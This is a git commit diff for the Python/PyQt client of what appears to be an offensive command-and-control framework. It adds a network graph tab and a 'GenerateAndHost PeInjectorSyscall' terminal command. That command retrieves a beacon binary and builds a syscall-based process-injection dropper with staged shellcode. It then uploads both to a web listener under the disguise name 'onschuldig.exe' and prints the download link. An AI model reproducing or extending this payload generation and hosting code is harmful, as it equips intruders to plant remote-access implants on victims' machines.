This commit is contained in:
kali
2024-09-12 15:27:16 +02:00
parent d706817754
commit bf5cae1729
3 changed files with 353 additions and 31 deletions
+41 -25
View File
@@ -11,12 +11,14 @@ from ListenerPanel import *
from SessionPanel import *
from ConsolePanel import *
from PayloadPanel import *
from GraphPanel import *
import qdarktheme
signal.signal(signal.SIGINT, signal.SIG_DFL)
class App(QMainWindow):
def __init__(self, ip, port, devMode):
@@ -24,6 +26,7 @@ class App(QMainWindow):
self.ip = ip
self.port = port
self.devMode = devMode
self.createPayloadWindow = None
@@ -38,47 +41,60 @@ class App(QMainWindow):
central_widget = QWidget()
self.setCentralWidget(central_widget)
self.m_w11 = QWidget()
self.m_w12 = QWidget()
self.m_w21 = QWidget()
config_button = QPushButton("Payload")
config_button.clicked.connect(self.payloadForm)
lay = QGridLayout(central_widget)
lay.setRowStretch(1, 3)
lay.setRowStretch(2, 7)
# TODO complet PayloadPanel
# row: int, column: int, rowSpan: int, columnSpan: int, alignment
#lay.addWidget(config_button, 0, 0, 1, 1)
lay.addWidget(self.m_w11, 1, 0, 1, 1)
lay.addWidget(self.m_w12, 1, 1, 1, 1)
lay.addWidget(self.m_w21, 2, 0, 1, 2)
self.mainLayout = QGridLayout(central_widget)
self.mainLayout.setContentsMargins(0, 0, 0, 0)
self.mainLayout.setRowStretch(1, 3)
self.mainLayout.setRowStretch(2, 7)
lay = QVBoxLayout(self.m_w11)
sessionsWidget = Sessions(self, ip, port, devMode)
lay.addWidget(sessionsWidget)
self.topLayout()
self.botLayout()
lay = QVBoxLayout(self.m_w12)
listenersWidget = Listeners(self, ip, port, devMode)
lay.addWidget(listenersWidget)
lay = QVBoxLayout(self.m_w21)
consoleWidget = ConsolesTab(self, ip, port, devMode)
lay.addWidget(consoleWidget)
sessionsWidget.interactWithSession.connect(consoleWidget.addConsole)
self.sessionsWidget.interactWithSession.connect(self.consoleWidget.addConsole)
self.show()
def topLayout(self):
self.topWidget = QTabWidget()
self.m_main = QWidget()
self.m_main.layout = QHBoxLayout(self.m_main)
self.m_main.layout.setContentsMargins(0, 0, 0, 0)
self.sessionsWidget = Sessions(self, self.ip, self.port, self.devMode)
self.m_main.layout.addWidget(self.sessionsWidget)
self.listenersWidget = Listeners(self, self.ip, self.port, self.devMode)
self.m_main.layout.addWidget( self.listenersWidget)
self.topWidget.addTab(self.m_main, "Main")
self.graphWidget = Graph(self, self.ip, self.port, self.devMode)
self.topWidget.addTab(self.graphWidget, "Graph")
self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1)
def botLayout(self):
self.consoleWidget = ConsolesTab(self, self.ip, self.port, self.devMode)
self.mainLayout.addWidget(self.consoleWidget, 2, 0, 1, 2)
def __del__(self):
print("Exit")
def payloadForm(self):
if self.createPayloadWindow is None:
self.createPayloadWindow = CreatePayload()
self.createPayloadWindow.show()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='TeamServer IP and port.')
+136
View File
@@ -0,0 +1,136 @@
import sys
import os
import time
from threading import Thread, Lock
from PyQt5.QtWidgets import *
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtGui import QPixmap, QTransform
from grpcClient import *
# https://www.pythonguis.com/tutorials/pyqt-qgraphics-vector-graphics/
# https://github.com/HavocFramework/Havoc/blob/a3f36e843b4df7f7f9124c68e61c137811c87ee5/client/include/UserInterface/Widgets/SessionGraph.hpp#L87
class Graph(QWidget):
def __init__(self, parent, ip, port, devMode):
super(QWidget, self).__init__(parent)
width = self.frameGeometry().width()
height = self.frameGeometry().height()
print("width", width)
print("height", height)
self.ip = ip
self.port = port
self.grpcClient = GrpcClient(ip, port, devMode)
self.scene = QGraphicsScene()
for x in range(0,500,50):
self.scene.addLine(x, 0, x, 500)
for y in range(0,500,50):
self.scene.addLine(0, y, 500, y)
pixmap = QPixmap("firewall.png")
pixmap = pixmap.scaled(64, 64)
pixmapitem = self.scene.addPixmap(pixmap)
pixmapitem.setPos(100, 50 );
# pixmap = QPixmap("pc2.png")
# pixmap = pixmap.scaled(64, 64)
# pixmapitem = self.scene.addPixmap(pixmap)
# pixmapitem.setPos(250, 70)
self.view = QGraphicsView(self.scene)
self.view.setRenderHint(QPainter.Antialiasing)
self.view._scene_rect = None
self.view._scene_transform = None
self.view._start_point = None
self.view.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
self.view.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
self.view.setRenderHint(QPainter.Antialiasing)
self.view.setMouseTracking(True)
self.view.setTransformationAnchor(self.view.NoAnchor)
self.view.setResizeAnchor(self.view.NoAnchor)
transform = QTransform()
center = self.view.mapToScene(self.view.viewport().rect().center())
transform.translate(center.x(), center.y())
transform.scale(1 , 1 )
transform.translate(-center.x(), -center.y())
self.view.setTransform(transform)
# Set all items as moveable and selectable.
for item in self.scene.items():
item.setFlag(QGraphicsItem.ItemIsMovable)
item.setFlag(QGraphicsItem.ItemIsSelectable)
self.vbox = QVBoxLayout()
self.vbox.setContentsMargins(0, 0, 0, 0)
self.vbox.addWidget(self.view)
self.setLayout(self.vbox)
# Thread to get listeners every second
# https://realpython.com/python-pyqt-qthread/
self.thread = QThread()
self.getGraphInfoWorker = GetGraphInfoWorker()
self.getGraphInfoWorker.moveToThread(self.thread)
self.thread.started.connect(self.getGraphInfoWorker.run)
self.getGraphInfoWorker.checkin.connect(self.updateGraph)
self.thread.start()
def __del__(self):
self.getGraphInfoWorker.quit()
self.thread.quit()
self.thread.wait()
# query the server to get the list of listeners
def updateGraph(self):
listeners = self.grpcClient.getListeners()
sessions = self.grpcClient.getSessions()
# pixmap = QPixmap("pc.png")
# pixmap = pixmap.scaled(64, 64)
# pixmapitem = self.scene.addPixmap(pixmap)
# # pixmapitem.setPos(250, 70)
# # Set all items as moveable and selectable.
# for item in self.scene.items():
# item.setFlag(QGraphicsItem.ItemIsMovable)
# item.setFlag(QGraphicsItem.ItemIsSelectable)
class GetGraphInfoWorker(QObject):
checkin = pyqtSignal()
exit=False
def run(self):
while self.exit==False:
self.checkin.emit()
time.sleep(1)
def quit(self):
self.exit=True
+176 -6
View File
@@ -17,6 +17,11 @@ import GeneratePowershellLauncher
sys.path.insert(1, './PeDropper/')
import GenerateDropperBinary
if os.path.exists(os.path.join(os.getcwd(), 'PeInjectorSyscall')):
sys.path.insert(1, './PeInjectorSyscall/')
import GenerateInjector
class Terminal(QWidget):
tabPressed = pyqtSignal()
@@ -25,6 +30,7 @@ class Terminal(QWidget):
def __init__(self, parent, ip, port, devMode):
super(QWidget, self).__init__(parent)
self.layout = QVBoxLayout(self)
self.layout.setContentsMargins(0, 0, 0, 0)
self.grpcClient = GrpcClient(ip, port, devMode)
@@ -39,11 +45,6 @@ class Terminal(QWidget):
self.layout.addWidget(self.commandEditor, 2)
self.commandEditor.returnPressed.connect(self.runCommand)
def __del__(self):
self.thread.quit()
self.thread.wait()
def nextCompletion(self):
index = self._compl.currentIndex()
self._compl.popup().setCurrentIndex(index)
@@ -297,7 +298,8 @@ exemple:
helpMsg = """GenerateAndHost:
GenerateAndHost generate a playload that is store on the teamserver to be downloaded by a web request from a web listener (http/https):
exemple:
- GenerateAndHost PowershellWebDelivery listenerHash hostListenerHash"""
- GenerateAndHost PowershellWebDelivery listenerHash hostListenerHash
- GenerateAndHost PeInjectorSyscall processToInject listenerHash hostListenerHash"""
line = '\n' + helpMsg + '\n';
self.editorOutput.insertPlainText(line)
@@ -329,6 +331,32 @@ exemple:
listenerDownload = listenerBeacon
self.GenerateAndHostPowershellWebDelivery(commandLine, listenerDownload, listenerBeacon)
if mode == "PeInjectorSyscall":
if len(instructions) < 4:
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
helpMsg = """GenerateAndHost PeInjectorSyscall:
Generate a ....
exemple:
- GenerateAndHost PeInjectorSyscall processToInject listenerHash
- GenerateAndHost PeInjectorSyscall processToInject listenerHash hostListenerHash"""
line = '\n' + helpMsg + '\n';
self.editorOutput.insertPlainText(line)
return;
# should take 2 listeners:
# the http/https listener to download the payload from
# one listner for the beacon to connect to
processToInject = instructions[2]
listenerBeacon = instructions[3]
if len(instructions) >= 5:
listenerDownload = instructions[4]
else:
listenerDownload = listenerBeacon
self.GenerateAndHostPeInjectorSyscall(commandLine, listenerDownload, listenerBeacon, processToInject)
else:
line = '<p style=\"color:red;white-space:pre\">[+] ' + commandLine + '</p>'
@@ -460,6 +488,147 @@ exemple:
self.editorOutput.insertPlainText(line)
# Implementation de GenerateAndHost PeInjectorSyscall
def GenerateAndHostPeInjectorSyscall(self, commandLine, listenerDownload, listenerBeacon, processToInject):
commandTeamServer = "infoListener "+listenerDownload
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer)
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
result = resultTermCommand.result
if "Error" in result:
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + result + '\n';
self.editorOutput.insertPlainText(line)
return
results = result.split("\n")
if len(results)<4:
return
schemeDownload = results[0]
ipDownload = results[1]
portDownload = results[2]
downloadPath = results[3]
if not downloadPath:
error = "Error: Download listener must be of type http or https."
self.editorOutput.insertPlainText(error)
return
if downloadPath[0]=="/":
downloadPath = downloadPath[1:]
if listenerBeacon != listenerDownload:
commandTeamServer = "infoListener "+listenerBeacon
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer)
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
result = resultTermCommand.result
if "Error" in result:
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + result + '\n';
self.editorOutput.insertPlainText(line)
return
results = result.split("\n")
if len(results)<4:
return
scheme = results[0]
ip = results[1]
port = results[2]
else:
scheme=schemeDownload
ip=ipDownload
port=portDownload
commandTeamServer = "getBeaconBinary "+listenerBeacon
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer)
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
result = resultTermCommand.result
if "Error" in result:
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + result + '\n';
self.editorOutput.insertPlainText(line)
return
print("Beacon size", len(resultTermCommand.data))
beaconFilePath = "./BeaconHttp.exe"
beaconFile = open(beaconFilePath, "wb")
beaconFile.write(resultTermCommand.data)
beaconArg = ip+" "+port
if scheme=="http" or scheme=="https":
beaconArg = beaconArg+" "+scheme
# Generate the 2 files
process = processToInject
filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15))
urlStage = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + filename
if not os.path.exists(os.path.join(os.getcwd(), 'PeInjectorSyscall')):
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + "PeInjectorSyscall module not found" + '\n';
self.editorOutput.insertPlainText(line)
return
dropperExePath, shellcodePath = GenerateInjector.generatePayloads(beaconFilePath, beaconArg, "", process, urlStage)
# Upload the file and get the path
try:
with open(dropperExePath, mode='rb') as fileDesc:
payload = fileDesc.read()
except IOError:
line = '<p style=\"color:red;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + "Error: File does not appear to exist." + '\n';
self.editorOutput.insertPlainText(line)
return
commandTeamServer = "putIntoUploadDir "+listenerDownload+" "+"onschuldig.exe"
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=payload)
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
result = resultTermCommand.result
if "Error" in result:
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + result + '\n';
self.editorOutput.insertPlainText(line)
return
try:
with open(shellcodePath, mode='rb') as fileDesc:
payload = fileDesc.read()
except IOError:
line = '<p style=\"color:red;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + "Error: File does not appear to exist." + '\n';
self.editorOutput.insertPlainText(line)
return
commandTeamServer = "putIntoUploadDir "+listenerDownload+" "+filename
termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=payload)
resultTermCommand = self.grpcClient.sendTermCmd(termCommand)
result = resultTermCommand.result
if "Error" in result:
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + result + '\n';
self.editorOutput.insertPlainText(line)
return
result = schemeDownload + "://" + ipDownload + ":" + portDownload + "/" + downloadPath + "onschuldig.exe"
line = '<p style=\"color:orange;white-space:pre\">[+] ' + commandLine + '</p>'
self.editorOutput.appendHtml(line)
line = '\n' + result + '\n';
self.editorOutput.insertPlainText(line)
def setCursorEditorAtEnd(self):
cursor = self.editorOutput.textCursor()
cursor.movePosition(QTextCursor.End,)
@@ -543,6 +712,7 @@ completerData = [
]),
('GenerateAndHost',[
('PowershellWebDelivery',[]),
('PeInjectorSyscall',[]),
]),
]